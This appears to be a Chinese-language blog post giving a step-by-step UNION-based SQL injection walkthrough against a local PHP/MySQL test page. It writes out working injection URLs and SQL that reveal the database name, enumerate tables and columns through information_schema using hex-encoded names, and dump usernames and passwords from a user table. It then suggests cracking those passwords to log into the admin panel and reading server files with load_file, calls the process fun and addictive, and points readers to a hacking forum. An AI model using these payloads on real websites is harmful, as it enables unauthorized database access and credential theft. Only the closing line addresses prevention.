正如之前paperen的 你是这样处理来自$_GET的数据吗 里面说的,还有很久之前的 小心sql注入漏洞 ,都是涉及到SQL注入的一些东西,其实您如果对SQL注入有兴趣的话不妨点击paperen友情链接中的习科论坛去那看看,里面很多帖子都是有关入侵的,而paperen在这个组织不知不觉间也都快4年了。废话也就不多说了,直接入话题。

还记得在“你是这样处理来自$_GET的数据吗 ”里面写到的那个SQL,

$sql = 'select * from goods where id='.$id;

不对传入来的数据进行任何过滤甚至不用单引号抱起来会导致的问题在那篇文章中已经说的比较明确了,如果您能猜到数据库其他表的话还能查到其他表的内容,而这次paperen想说一些使用这个漏洞更高级的一个技巧。

假如你已经证实了此处存在漏洞,(怎样证明?简单来说分别测试一下将参数改为id=1=1与id=1=2再看页面就能知道是否存在漏洞,如果显示信息不一样或出错则证明存在漏洞),但是即使证实了有漏洞但猜不到其他表的表名怎办。使用一个很邪恶的招数,先放出注入URL。

爆出目前数据库名

URL:http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns
SQL:SELECT * FROM goods WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns

20101209211926

然后将获得数据库test的hex值后再爆出该test数据库中的表名(获得test的hex值 select hex('test') 放到mysql中跑一下就可以看到结果了,74657374前面再加上0x,十六进制数)

URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns+AS+c+WHERE+c.table_schema=0x74657374
SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1 , 2, 3, GROUP_CONCAT( DISTINCT table_name ) , 5, 6, 7, 8, 9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374

20101210084954

然后在将表user的hex值放入去,查user表的字段,现在是DISTINCT(column_name)了,最好加上and如果有不止一个数据库有user表的话可能得出的结果会误导你。

URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns+WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x74657374
SQL:select * from goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374

20101210095933

you see!已经一步步地获得了我们想要的信息了,是不是有点意思呢?所以paperen说这种东西搞上来会上瘾的。

然后直接爆出他的user表的明码。

URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user
SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user

20101210100806

但是user表里面可能不止一个用户数据,那么就加上limit吧

URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user+limit+1,1
SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user limit 1,1

然后将获得的密码拿去破解获得明码,再知道后台路径,使用用户帐号与破解的密码登陆到后台吧,但是paperen后面两个步骤也是看你人品的,如果密码被搞得比较复杂,你也很难破解,即使你破解了也得要找到后台地址。So……就到此为止了。就是娱乐一下。(PS:你还可以用load_file将服务器一些文件内容弄到,前提是你也要猜到文件的路径)

要了解更多?

关于INFORMATION_SCHEMA http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html

关于更多入侵不妨也可以去习科看看,这个也是一个例子 http://bbs.blackbap.org/redirect.php?tid=1876

对于网站开发人员来说sql或者是一个恶梦,但是很明显这种是从低级错误引发的,没有对参数进行过滤导致了这种可怕的结果。怎样去防止出现这种漏洞应该是程序员与开发者要去想清楚的。